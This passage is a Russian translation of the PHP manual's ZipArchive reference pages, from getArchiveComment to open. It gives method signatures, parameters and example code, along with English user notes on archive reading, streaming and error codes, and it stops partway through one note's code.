(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getArchiveComment — Возвращает комментарий ZIP-архива

Описание

public ZipArchive::getArchiveComment(int $flags = 0): string|false

Возвращает комментарий ZIP-архива.

Список параметров

flags

Если флаг установлен в ZipArchive::FL_UNCHANGED, возвращается оригинальный неизмененный комментарий.

Возвращаемые значения

Возвращает комментарий ZIP-архива или false в случае возникновения ошибки.

Примеры

Пример #1 Вывести комментарий архива

<?php
$zip = new ZipArchive;
$res = $zip->open('test_with_comment.zip');
if ($res === TRUE) {
var_dump($zip->getArchiveComment());
/* Или используя свойство */
var_dump($zip->comment);
} else {
echo 'Ошибка с кодом:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение глобального флага ZIP-архива

  • « ZipArchive::getArchiveComment
  • ZipArchive::getCommentIndex »
  • PHP Manual
  • ZipArchive
  • Возвращает значение глобального флага ZIP-архива

ZipArchive::getArchiveFlag

(PHP >= 8.3.0, PECL zip >= 1.22.0)

ZipArchive::getArchiveFlag — Возвращает значение глобального флага ZIP-архива

Описание

public ZipArchive::getArchiveFlag(int $flag = 0, int $flags = 0): int

Возвращает значение глобального флага ZIP-архива.

Список параметров

flag

Глобальный флаг для извлечения, из констант AFL_*:

  • ZipArchive::AFL_RDONLY

  • ZipArchive::AFL_IS_TORRENTZIP

  • ZipArchive::AFL_WANT_TORRENTZIP

  • ZipArchive::AFL_CREATE_OR_KEEP_FILE_FOR_EMPTY_ARCHIVE

flags

Если значение flags равно ZipArchive::FL_UNCHANGED, то возвращается исходный неизменённый флаг.

Возвращаемые значения

Возвращает 1, если флаг установлен для архива, 0, если нет, и -1 в случае возникновения ошибки.

Примеры

Пример #1 Проверка, является ли архив форматом torrentzip

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
var_dump($zip->getArchiveFlag(ZipArchive::AFL_IS_TORRENTZIP));
} else {
echo 'failed, code:' . $res;
}
?>

Смотрите также

  • ZipArchive::setArchiveFlag() - Устанавливает глобальный флаг ZIP-архива

User Contributed Notes

There are no user contributed notes for this page.


Возвращает комментарий элемента, используя его индекс

  • « ZipArchive::getArchiveFlag
  • ZipArchive::getCommentName »
  • PHP Manual
  • ZipArchive
  • Возвращает комментарий элемента, используя его индекс

ZipArchive::getCommentIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::getCommentIndex — Возвращает комментарий элемента, используя его индекс

Описание

public ZipArchive::getCommentIndex(int $index, int $flags = 0): string|false

Возвращает комментарий элемента, используя его индекс.

Список параметров

index

Индекс записи.

flags

Если флаг установлен в ZipArchive::FL_UNCHANGED, возвращается оригинальный неизмененный комментарий.

Возвращаемые значения

Возвращает комментарий при успехе или false в случае возникновения ошибки.

Примеры

Пример #1 Вывести комментарий элемента

<?php
$zip = new ZipArchive;
$res = $zip->open('test1.zip');
if ($res === TRUE) {
var_dump($zip->getCommentIndex(1));
} else {
echo 'Ошибка с кодом:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает комментарий элемента, используя его имя

  • « ZipArchive::getCommentIndex
  • ZipArchive::getExternalAttributesIndex »
  • PHP Manual
  • ZipArchive
  • Возвращает комментарий элемента, используя его имя

ZipArchive::getCommentName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::getCommentName — Возвращает комментарий элемента, используя его имя

Описание

public ZipArchive::getCommentName(string $name, int $flags = 0): string|false

Возвращает комментарий элемента, используя его имя.

Список параметров

name

Имя элемента.

flags

Если флаг установлен в ZipArchive::FL_UNCHANGED, возвращается оригинальный неизмененный комментарий.

Возвращаемые значения

Возвращает комментарий при успехе или false в случае возникновения ошибки.

Примеры

Пример #1 Вывести комментарий элемента

<?php
$zip = new ZipArchive;
$res = $zip->open('test1.zip');
if ($res === TRUE) {
var_dump($zip->getCommentName('test/entry1.txt'));
} else {
echo 'Ошибка с кодом:' . $res;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Извлечь внешние атрибуты записи по её индексу

  • « ZipArchive::getCommentName
  • ZipArchive::getExternalAttributesName »
  • PHP Manual
  • ZipArchive
  • Извлечь внешние атрибуты записи по её индексу

ZipArchive::getExternalAttributesIndex

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::getExternalAttributesIndex — Извлечь внешние атрибуты записи по её индексу

Описание

public ZipArchive::getExternalAttributesIndex(
int $index,
int &$opsys,
int &$attr,
int $flags = 0
): bool

Извлекает внешние атрибуты записи по её индексу.

Список параметров

index

Индекс записи.

opsys

В случае успешного выполнения сюда записывается код операционной системы, заданный одной из констант ZipArchive::OPSYS_.

attr

В случае успешного выполнения сюда записываются внешние атрибуты. Значения зависят от операционной системы.

flags

Если задано как ZipArchive::FL_UNCHANGED, будут возвращены оригинальные неизмененные атрибуты.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

В этом примере извлекаются все файлы из архива test.zip и устанавливает им права Unix, полученные из внешних атрибутов.

Пример #1 Извлекаем все записи с их правами Unix

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip') === TRUE) {
for ($idx=0 ; $s = $zip->statIndex($idx) ; $idx++) {
if ($zip->extractTo('.', $s['name'])) {
if ($zip->getExternalAttributesIndex($idx, $opsys, $attr)
&& $opsys==ZipArchive::OPSYS_UNIX) {
chmod($s['name'], ($attr >> 16) & 0777);
}
}
}
$zip->close();
echo "готово\n";
} else {
echo "ошибка\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Извлечь внешние атрибуты записи по её имени

  • « ZipArchive::getExternalAttributesIndex
  • ZipArchive::getFromIndex »
  • PHP Manual
  • ZipArchive
  • Извлечь внешние атрибуты записи по её имени

ZipArchive::getExternalAttributesName

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::getExternalAttributesName — Извлечь внешние атрибуты записи по её имени

Описание

public ZipArchive::getExternalAttributesName(
string $name,
int &$opsys,
int &$attr,
int $flags = 0
): bool

Извлекает внешние атрибуты записи по её имени.

Список параметров

name

Имя записи.

opsys

В случае успешного выполнения сюда записывается код операционной системы, заданный одной из констант ZipArchive::OPSYS_.

attr

В случае успешного выполнения сюда записываются внешние атрибуты. Значения зависят от операционной системы.

flags

Если задано как ZipArchive::FL_UNCHANGED, будут возвращены оригинальные неизмененные атрибуты.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает содержимое элемента по его индексу

  • « ZipArchive::getExternalAttributesName
  • ZipArchive::getFromName »
  • PHP Manual
  • ZipArchive
  • Возвращает содержимое элемента по его индексу

ZipArchive::getFromIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getFromIndex — Возвращает содержимое элемента по его индексу

Описание

public ZipArchive::getFromIndex(int $index, int $len = 0, int $flags = 0): string|false

Возвращает содержимое элемента по его индексу.

Список параметров

index

Индекс элемента.

len

Размер читаемых данных из элемента. Если 0, содержимое читается полностью.

flags

Флаги используемые для открытия архива. Может быть установлено только одно нижеприведённое значение.

  • ZipArchive::FL_UNCHANGED

  • ZipArchive::FL_COMPRESSED

Возвращаемые значения

Возвращает содержимое элемента при успехе или false в случае возникновения ошибки.

Примеры

Пример #1 Получить содержимое файла

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
echo $zip->getFromIndex(2);
$zip->close();
} else {
echo 'ошибка';
}
?>

Смотрите также

  • ZipArchive::getFromName() - Возвращает содержимое элемента по его имени

User Contributed Notes

Ruben 12-May-2015 07:59
For detecting folders use function ::getNameIndex:

//$zip = ZipArchive::open()
$entry = $zip->getNameIndex($i);
$isDir = (substr($entry, -1, 1) == '/');

Thanks to Alex Howansky @ http://stackoverflow.com/a/19299626/2747584
poorpal at example dot com 16-Mar-2015 10:03
both getFromIndex and getFromName leak memory. Beware specially if you use them inside a long running loop. Even closing and re-opening the zip file doesn't help.
StanE 17-Dec-2014 02:35
Unlike what "jana.vasseru" said 7 years ago, this method does not return FALSE for folders (anymore?). It seems that there is no way to find out if an entry is a directory of file.
matt3k 26-Jun-2013 01:21
Note, length is in characters and not bytes.
jana.vasseru 17-Aug-2007 04:26
Note that getFromIndex returns false for directories.


Возвращает содержимое элемента по его имени

  • « ZipArchive::getFromIndex
  • ZipArchive::getNameIndex »
  • PHP Manual
  • ZipArchive
  • Возвращает содержимое элемента по его имени

ZipArchive::getFromName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getFromName — Возвращает содержимое элемента по его имени

Описание

public ZipArchive::getFromName(string $name, int $len = 0, int $flags = 0): string|false

Возвращает содержимое элемента по его имени.

Список параметров

name

Имя элемента.

len

Размер читаемых данных из элемента. Если 0, содержимое читается полностью.

flags

Флаги используемые для поиска записи. Следующие значения могут быть присоединены (побитовое ИЛИ).

  • ZipArchive::FL_UNCHANGED

  • ZipArchive::FL_COMPRESSED

  • ZipArchive::FL_NOCASE

Возвращаемые значения

Возвращает содержимое элемента при успехе или false в случае возникновения ошибки.

Примеры

Пример #1 Получить содержимое файла

<?php
$zip = new ZipArchive;
if ($zip->open('test1.zip') === TRUE) {
echo $zip->getFromName('testfromfile.php');
$zip->close();
} else {
echo 'ошибка';
}
?>

Пример #2 Преобразовать изображении из ZIP-элемента

<?php
$z = new ZipArchive();
if ($z->open(dirname(__FILE__) . '/test_im.zip')) {
$im_string = $z->getFromName("pear_item.gif");
$im = imagecreatefromstring($im_string);
imagepng($im, 'b.png');
}
?>

Смотрите также

  • ZipArchive::getFromIndex() - Возвращает содержимое элемента по его индексу

User Contributed Notes

masterboreq at gmail dot com 26-Jan-2020 08:33
When passing to the method explicit string which contains a relative path (inside the ZIP archive), e.g. 'path/to/file.php/' please make sure you used single quotation mark (') not the double one ("). Double quotation mark produce FALSE (at least at Windows machine) giving no further hints what gone wrong.
Also, please make sure that the path delimiters used inside your ZIP file is backslash or forward slash since it's make a difference in this place too.
I hope I saved you a headache while working with this (so far) unmentioned "feature" :)
henrik dot haftmann at gmail dot com 22-Sep-2016 11:02
The handling of file names containing non-ASCII characters is undocumented. It seems that this function calls <?php mb_convert_encoding($name,"CP850","UTF-8") ?> and therefore expects DOS encoding in the zipfile but UTF-8 encoding for the name. If the zipfile uses UTF-8 names (Pkzip 4.5 / Winzip 11.2), this function fails. Use getFromIndex instead as a workaround.


Возвращает имя элемента по его индексу

  • « ZipArchive::getFromName
  • ZipArchive::getStatusString »
  • PHP Manual
  • ZipArchive
  • Возвращает имя элемента по его индексу

ZipArchive::getNameIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::getNameIndex — Возвращает имя элемента по его индексу

Описание

public ZipArchive::getNameIndex(int $index, int $flags = 0): string|false

Возвращает имя элемента по его индексу.

Список параметров

index

Индекс элемента.

flags

Если флаг установлен в ZipArchive::FL_UNCHANGED, возвращается оригинальное неизмененное имя.

Возвращаемые значения

Возвращает имя при успехе или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования ZipArchive::getnameindex()

<?php
if ($zip->open('test.zip') == TRUE) {
for ($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
// ...
}
}
?>

User Contributed Notes

Yeslifer 03-Mar-2009 04:13
I couldn't find any how-to example for getting the filenames, so I made an easy one.

Here's an example how to list all filenames from a zip-archive:

<?php
$zip = new ZipArchive;
if ($zip->open('items.zip'))
{
     for($i = 0; $i < $zip->numFiles; $i++)
     {
          echo 'Filename: ' . $zip->getNameIndex($i) . '<br />';
     }
}
else
{
     echo 'Error reading zip-archive!';
}
?>

Hope it helps.


Возвращают статус сообщения об ошибке, системный и/или zip-статус

  • « ZipArchive::getNameIndex
  • ZipArchive::getStream »
  • PHP Manual
  • ZipArchive
  • Возвращают статус сообщения об ошибке, системный и/или zip-статус

ZipArchive::getStatusString

(PHP 5 >= 5.2.7, PHP 7, PHP 8)

ZipArchive::getStatusString — Возвращают статус сообщения об ошибке, системный и/или zip-статус

Описание

public ZipArchive::getStatusString(): string

Возвращают статус сообщения об ошибке, системный и/или zip-статус.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку (string) с сообщением о статусе.

Список изменений

Версия | Описание
8.0.0 / 1.18.0 | Метод можно вызвать в закрытом архиве.
8.0.0 / 1.18.0 | Метод больше не возвращает false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получить дескриптор файла элемента, определённый по имени элемента (только для чтения)

  • « ZipArchive::getStatusString
  • ZipArchive::getStreamIndex »
  • PHP Manual
  • ZipArchive
  • Получить дескриптор файла элемента, определённый по имени элемента (только для чтения)

ZipArchive::getStream

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getStream — Получить дескриптор файла элемента, определённый по имени элемента (только для чтения)

Описание

public ZipArchive::getStream(string $name): resource|false

Получить дескриптор файла, определённый по имени элемента. На данный момент поддерживаются только операции чтения.

Список параметров

name

Используемое имя элемента.

Возвращаемые значения

Возвращает файловый указатель (ресурс) в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Получить содержимое элемента при помощи fread() и сохранить его

<?php
$contents = '';
$z = new ZipArchive();
if ($z->open('test.zip')) {
$fp = $z->getStream('test');
if(!$fp) exit("ошибка\n");

while (!feof($fp)) {
$contents .= fread($fp, 2);
}

fclose($fp);
file_put_contents('t',$contents);
echo "готово.\n";
}
?>

Пример #2 То же, что и в предыдущем примере, но используя fopen() и через обёртку zip-потока

<?php
$contents = '';
$fp = fopen('zip://' . dirname(__FILE__) . '/test.zip#test', 'r');
if (!$fp) {
exit("Не получается открыть\n");
}
while (!feof($fp)) {
$contents .= fread($fp, 2);
}
echo "$contents\n";
fclose($fp);
echo "Готово.\n";
?>

Пример #3 ZIP-поток и изображение могут быть использованы также в функции XML

<?php
$im = imagecreatefromgif('zip://' . dirname(__FILE__) . '/test_im.zip#pear_item.gif');
imagepng($im, 'a.png');
?>

Смотрите также

  • ZipArchive::getStreamIndex() - Получает обработчик файла для записи, определённой её индексом (только для чтения)
  • ZipArchive::getStreamName() - Получает обработчик файла для записи, определённой её именем (только для чтения)
  • Сжатые потоки

User Contributed Notes

Sbastien 02-Jul-2022 10:24
Here a way to handle specific files from a zip archive without full extract :

<?php

$zip_file = '/path/to/file.zip'; // I wan to get stream a CSV files

$zip = new ZipArchive();
$zip->open($zip_file);
for ($i = 0; $i < $zip->numFiles; $i++) { // Check file by file
    $name = $zip->getNameIndex($i); // Retrieve entry name
    $extension = pathinfo($name, PATHINFO_EXTENSION);
    if ($extension === 'csv') { // I want to handle csv files
        $stream = $zip->getStream($name); // No stream index access before PHP 8.2
        // Starting PHP 8.2 $zip->getStreamIndex() or $zip->getStreamName()
        // Do stuff with $stream
        // ...
    }
}
oleg at andreyev dot lv 23-Feb-2022 08:12
Keep in mind that this stream is not rewindable/seekable.


Получает обработчик файла для записи, определённой её индексом (только для чтения)

  • « ZipArchive::getStream
  • ZipArchive::getStreamName »
  • PHP Manual
  • ZipArchive
  • Получает обработчик файла для записи, определённой её индексом (только для чтения)

ZipArchive::getStreamIndex

(PHP 8 >= 8.2.0, PECL zip >= 1.20.0)

ZipArchive::getStreamIndex — Получает обработчик файла для записи, определённой её индексом (только для чтения)

Описание

public ZipArchive::getStreamIndex(int $index, int $flags = 0): resource|false

Получает обработчик файла для записи, определённой её индексом. На данный момент метод поддерживает только операции чтения.

Список параметров

index

Индекс записи.

flags

Если в flags установлена константа ZipArchive::FL_UNCHANGED, возвращается исходный неизмененный поток.

Возвращаемые значения

В случае успешного выполнения возвращает указатель на файл (ресурс) или false в случае возникновения ошибки.

Примеры

Пример #1 Получение и сохранение содержимого записи с помощью fread()

<?php
$contents = '';
$z = new ZipArchive();
if ($z->open('test.zip')) {
$fp = $z->getStreamIndex(1, ZipArchive::FL_UNCHANGED);
if(!$fp) die($z->getStatusString());

echo stream_get_contents($fp);

fclose($fp);
}
?>

Смотрите также

  • ZipArchive::getStreamName() - Получает обработчик файла для записи, определённой её именем (только для чтения)

User Contributed Notes

There are no user contributed notes for this page.


Получает обработчик файла для записи, определённой её именем (только для чтения)

  • « ZipArchive::getStreamIndex
  • ZipArchive::isCompressionMethodSupported »
  • PHP Manual
  • ZipArchive
  • Получает обработчик файла для записи, определённой её именем (только для чтения)

ZipArchive::getStreamName

(PHP 8 >= 8.2.0, PECL zip >= 1.20.0)

ZipArchive::getStreamName — Получает обработчик файла для записи, определённой её именем (только для чтения)

Описание

public ZipArchive::getStreamName(string $name, int $flags = 0): resource|false

Получает обработчик файла для записи, определённой её именем. На данный момент метод поддерживает только операции чтения.

Список параметров

name

Имя записи для использования.

flags

Если в flags установлена константа ZipArchive::FL_UNCHANGED, возвращается исходный неизмененный поток.

Возвращаемые значения

В случае успешного выполнения возвращает указатель на файл (ресурс) или false в случае возникновения ошибки.

Примеры

Пример #1 Получение и сохранение содержимого записи с помощью fread()

<?php
$contents = '';
$z = new ZipArchive();
if ($z->open('test.zip')) {
$fp = $z->getStreamName('test', ZipArchive::FL_UNCHANGED);
if(!$fp) die($z->getStatusString());

echo stream_get_contents($fp);

fclose($fp);
}
?>

Смотрите также

  • ZipArchive::getStreamIndex() - Получает обработчик файла для записи, определённой её индексом (только для чтения)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, поддерживается ли метод сжатия libzip

  • « ZipArchive::getStreamName
  • ZipArchive::isEncryptionMethodSupported »
  • PHP Manual
  • ZipArchive
  • Проверяет, поддерживается ли метод сжатия libzip

ZipArchive::isCompressionMethodSupported

(PHP >= 8.0.0, PECL zip >= 1.19.0)

ZipArchive::isCompressionMethodSupported — Проверяет, поддерживается ли метод сжатия libzip

Описание

public static ZipArchive::isCompressionMethodSupported(int $method, bool $enc = true): bool

Проверяет, поддерживается ли метод сжатия libzip.

Список параметров

method

Метод сжатия, одна из констант ZipArchive::CM_*.

enc

Если true проверка на сжатие, иначе проверка на декомпрессию.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Замечание:

Функция доступна только в том случае, если PHP собран с libzip ? 1.7.0.

Смотрите также

  • ZipArchive::setCompressionIndex() - Установить метод сжатия записи, заданной её индексом
  • ZipArchive::setCompressionName() - Установить метод сжатия записи, заданной по имени

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, поддерживается ли метод шифрования libzip

  • « ZipArchive::isCompressionMethodSupported
  • ZipArchive::locateName »
  • PHP Manual
  • ZipArchive
  • Проверяет, поддерживается ли метод шифрования libzip

ZipArchive::isEncryptionMethodSupported

(PHP >= 8.0.0, PECL zip >= 1.19.0)

ZipArchive::isEncryptionMethodSupported — Проверяет, поддерживается ли метод шифрования libzip

Описание

public static ZipArchive::isEncryptionMethodSupported(int $method, bool $enc = true): bool

Проверяет, поддерживается ли метод шифрования libzip.

Список параметров

method

Метод шифрования, одна из констант ZipArchive::EM_*.

enc

Если true проверка шифрования, иначе проверка расшифровки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Замечание:

Функция доступна только в том случае, если PHP собран с libzip ? 1.7.0.

Смотрите также

  • ZipArchive::setEncryptionIndex() - Установить метод шифрования записи по её индексу
  • ZipArchive::setEncryptionName() - Установить метод шифрования записи по её имени

User Contributed Notes

There are no user contributed notes for this page.


Возвращает индекс элемента в архиве

  • « ZipArchive::isEncryptionMethodSupported
  • ZipArchive::open »
  • PHP Manual
  • ZipArchive
  • Возвращает индекс элемента в архиве

ZipArchive::locateName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::locateName — Возвращает индекс элемента в архиве

Описание

public ZipArchive::locateName(string $name, int $flags = 0): int|false

Находит элемент по его имени.

Список параметров

name

Имя элемента для поиска.

flags

Флаги определяемые битовой маской из следующих значений, либо 0 для ни одного из них.

  • ZipArchive::FL_NOCASE

  • ZipArchive::FL_NODIR

Возвращаемые значения

Возвращает индекс элемента в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Создаётся архив и затем используется метод ZipArchive::locateName()

<?php
$file = 'testlocate.zip';

$zip = new ZipArchive;
if ($zip->open($file, ZipArchive::CREATE) !== TRUE) {
exit('ошибка');
}

$zip->addFromString('entry1.txt', 'entry #1');
$zip->addFromString('entry2.txt', 'entry #2');
$zip->addFromString('dir/entry2d.txt', 'entry #2');

if ($zip->status !== ZipArchive::ER_OK) {
echo "Ошибка записи в zip\n";
}
$zip->close();

if ($zip->open($file) !== TRUE) {
exit('ошибка');
}

echo $zip->locateName('entry1.txt') . "\n";
echo $zip->locateName('eNtry2.txt') . "\n";
echo $zip->locateName('eNtry2.txt', ZipArchive::FL_NOCASE) . "\n";
echo $zip->locateName('enTRy2d.txt', ZipArchive::FL_NOCASE|ZipArchive::FL_NODIR) . "\n";
$zip->close();

?>

Результат выполнения данного примера:

0

1
2

User Contributed Notes

thedotwriter 25-Sep-2012 08:22
As this is not directly available from this page, here's the meaning of the two flags:

ZIPARCHIVE::FL_NOCASE
    Ignore case on name lookup

ZIPARCHIVE::FL_NODIR
    Ignore directory component

All defined constants can be found here : http://php.net/manual/en/zip.constants.php
me at nowhere dot com 03-Sep-2008 01:04
If the option ZIPARCHIVE::FL_NODIR is used, the result may be ambiguous as files with the same name may occur in various directories. In this case, the first occurence in the index whoose name matches is returned.
E.g.

<?php
$zip->addFromString('afile.txt', 'index 0');
$zip->addFromString('double.txt', 'index 1');
$zip->addFromString('dir/double.txt', 'index 2');
?>

$zip->locateName('double.txt',ZIPARCHIVE::FL_NODIR) returns 1


Открывает ZIP-архив

  • « ZipArchive::locateName
  • ZipArchive::registerCancelCallback »
  • PHP Manual
  • ZipArchive
  • Открывает ZIP-архив

ZipArchive::open

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::open — Открывает ZIP-архив

Описание

public ZipArchive::open(string $filename, int $flags = 0): bool|int

Открывает новый или существующий ZIP-архив для чтения, записи или изменения.

Начиная с libzip 1.6.0, пустой файл больше не является корректным архивом.

Список параметров

filename

Имя ZIP-архива для открытия.

flags

Используемый режим открытия файлов.

  • ZipArchive::OVERWRITE

  • ZipArchive::CREATE

  • ZipArchive::RDONLY

  • ZipArchive::EXCL

  • ZipArchive::CHECKCONS

Возвращаемые значения

Возвращает true в случае успешного выполнения, false или один из следующих кодов ошибки:

ZipArchive::ER_EXISTS
Файл уже существует.
ZipArchive::ER_INCONS
Несовместимый ZIP-архив.
ZipArchive::ER_INVAL
Недопустимый аргумент.
ZipArchive::ER_MEMORY
Ошибка динамического выделения памяти.
ZipArchive::ER_NOENT
Нет такого файла.
ZipArchive::ER_NOZIP
Не является ZIP-архивом.
ZipArchive::ER_OPEN
Невозможно открыть файл.
ZipArchive::ER_READ
Ошибка чтения.
ZipArchive::ER_SEEK
Ошибка поиска.

Примеры

Пример #1 Открытие и извлечение

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
echo 'готово';
$zip->extractTo('test');
$zip->close();
} else {
echo 'ошибка с кодом:' . $res;
}
?>

Пример #2 Создание архива

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
$zip->addFromString('test.txt', 'содержимое файла');
$zip->addFile('data.txt', 'entryname.txt');
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

Пример #3 Создать временный архив

<?php
$name = tempnam(sys_get_temp_dir(), "FOO");
$zip = new ZipArchive;
$res = $zip->open($name, ZipArchive::OVERWRITE); /* усечение, поскольку пустой файл недопустим */
if ($res === TRUE) {
$zip->addFile('data.txt', 'entryname.txt');
$zip->close();
echo 'готово';
} else {
echo 'ошибка';
}
?>

User Contributed Notes

Anonymous 23-Aug-2021 11:39
To read a zip file contents then loop through $zip->numFiles using $zip->getNameIndex(i)

e.g.

            $zipfilename=$dir.DIRECTORY_SEPARATOR."test.zip";
            $zippedFile = new ZipArchive;
            $zippedFile->open($zipfilename);

            echo "<LI>".$zippedFile->getFromName("mpdf-8.0.7/.gitignore")."</LI><HR>";

            echo "<LI>Loaded $zipfilename ".$zippedFile->numFiles;
            for($i = 0; $i < $zippedFile->numFiles; $i++) {
                $fn=$zippedFile->getNameIndex($i);
                echo "<LI>$i: ".$fn;

                if ( strcmp(substr($fn, -1), DIRECTORY_SEPARATOR )==0 ) echo "... directory";
                else echo "... ".strlen($zippedFile->getFromIndex($i))." bytes";

            }
            $zippedFile->close();
laacz at laacz dot lv 28-Jun-2021 02:29
If on PHP 8.0+, you can use match expression to decode status code:

<?php
$archive = new \ZipArchive();
$result = $archive->open('some.file.zip');

$message = match ($result) {
    \ZipArchive::ER_MULTIDISK   => 'Multi-disk zip archives not supported',
    \ZipArchive::ER_RENAME      => 'Renaming temporary file failed',
    \ZipArchive::ER_CLOSE       => 'Closing zip archive failed',
    \ZipArchive::ER_SEEK        => 'Seek error',
    \ZipArchive::ER_READ        => 'Read error',
    \ZipArchive::ER_WRITE       => 'Write error',
    \ZipArchive::ER_CRC         => 'CRC error',
    \ZipArchive::ER_ZIPCLOSED   => 'Containing zip archive was closed',
    \ZipArchive::ER_NOENT       => 'No such file',
    \ZipArchive::ER_EXISTS      => 'File already exists',
    \ZipArchive::ER_OPEN        => 'Can\'t open file',
    \ZipArchive::ER_TMPOPEN     => 'Failure to create temporary file',
    \ZipArchive::ER_ZLIB        => 'Zlib error',
    \ZipArchive::ER_MEMORY      => 'Malloc failure',
    \ZipArchive::ER_CHANGED     => 'Entry has been changed',
    \ZipArchive::ER_COMPNOTSUPP => 'Compression method not supported',
    \ZipArchive::ER_EOF         => 'Premature EOF',
    \ZipArchive::ER_INVAL       => 'Invalid argument',
    \ZipArchive::ER_NOZIP       => 'Not a zip archive',
    \ZipArchive::ER_INTERNAL    => 'Internal error',
    \ZipArchive::ER_INCONS      => 'Zip archive inconsistent',
    \ZipArchive::ER_REMOVE      => 'Can\'t remove file',
    \ZipArchive::ER_DELETED     => 'Entry has been deleted',
    // \ZipArchive::ER_OK          => 'No error',
    default                     => 'No error',
};
?>
Fred Johnson 12-Jun-2020 03:24
Note that ZipArchive does not support generating streaming ZIP file content (i.e. start sending data to the user as soon as you start generating it such as from a database).  This means you have to write the entire file to disk first and then send the file to the user.  Doing that can take a while depending on how much data there is, which could run up against server timeout limits.

There are a couple of PHP userland libraries available on GitHub that can stream ZIP file content out to the user as soon as any data is written to the relevant classes.

cubiclesoft/php-zipstreamwriter
maennchen/ZipStream-PHP

Maybe a future version of ZipArchive will offer something similar.
ohcc at 163 dot com 14-Dec-2015 10:29
ZipArchive::OVERWRITE does NOT mean an existing file would be deleted when ZipArchive::open() is called.

In fact, the existing file will be deleted before PHP saves the zip archive on disk.

PHP takes these steps to finish zipping:

1. When ZipArchive::open('xx.zip') is called
If 'xx.zip' exists and is a zip archive, it will be opened and read as a temporary zip file,
If the file does not exist, and ZipArchive::CREATE is applied, php will create a temporary empty zip file
In these cases, ZipArchive::open() returns true, otherwise it returns an integer error code.
2. Adds file(s) to the temporary zip file when methods such as addFile(), addFromString() are called.
3. Deletes the existing file before saving the temporary zip file on disk.
4. Save the temporary zip file on disk
5.  Closes the active archive when ZipArchive::close() is called or at the end of the script

Since PHP does NOT delete the existing file before saving the zip archive on disk, you should use unset() to delete it if you want to zip that file's containing folder and save the zip archive in that folder, otherwise you will get a larger and larger zip archive everytime you refresh the page.
ohcc at 163 dot com 06-Nov-2015 09:45
return values of ZipArchive::open() and their values and meanings
ZipArchive::ER_SEEK     4    Seek error.
ZipArchive::ER_READ     5    Read error.
ZipArchive::ER_NOENT     9    No such file.
ZipArchive::ER_OPEN     11    Can't open file.
ZipArchive::ER_EXISTS     10    File already exists.
ZipArchive::ER_MEMORY 14    Malloc failure.
ZipArchive::ER_INVAL     18    Invalid argument.
ZipArchive::ER_NOZIP     19    Not a zip archive.
ZipArchive::ER_INCONS     21    Zip archive inconsistent
ohcc at 163 dot com 06-Nov-2015 09:29
<?php
    // Use ZipArchive::OVERWRITE when the targetd file does not exist may lead you to an error like this
    // Warning: ZipArchive::addFile(): Invalid or uninitialized Zip object
    // try ZipArchive::OVERWRITE|ZipArchive::CREATE when you want to replace a zip archive that may not exist
    $zip = new ZipArchive;
    $rt=$zip->open('i.zip',ZipArchive::OVERWRITE);
    echo $rt;
    // when i.zip does not exist, $rt is 9, ZipArchive::ER_NOENT, or "No such file."
    $zip->addFile('wuxiancheng.cn.sql','db.sql');
    // triggers an error with the message "Warning: ZipArchive::addFile(): Invalid or uninitialized Zip object ..."

    // Use ZipArchive::OVERWRITE|ZipArchive::CREATE
    $zip = new ZipArchive;
    $zip->open('i.zip',ZipArchive::OVERWRITE|ZipArchive::CREATE);
    $zip->addFile('wuxiancheng.cn.sql','db.sql');
?>
abolfazl dot ziaratban at gmail dot com 24-May-2015 04:35
<?php
#made by abolfazl ziaratban (c)
#license GPL

class zip extends ZipArchive
    {
        public function message($code)
            {
                switch ($code)
                    {
                        case 0:
                        return 'No error';

                        case 1:
                        return 'Multi-disk zip archives not supported';

                        case 2:
                        return 'Renaming temporary file failed';

                        case 3:
                        return 'Closing zip archive failed';

                        case 4:
                        return 'Seek error';

                        case 5:
                        return 'Read error';

                        case 6:
                        return 'Write error';

                        case 7:
                        return 'CRC error';

                        case 8:
                        return 'Containing zip archive was closed';

                        case 9:
                        return 'No such file';

                        case 10:
                        return 'File already exists';

                        case 11:
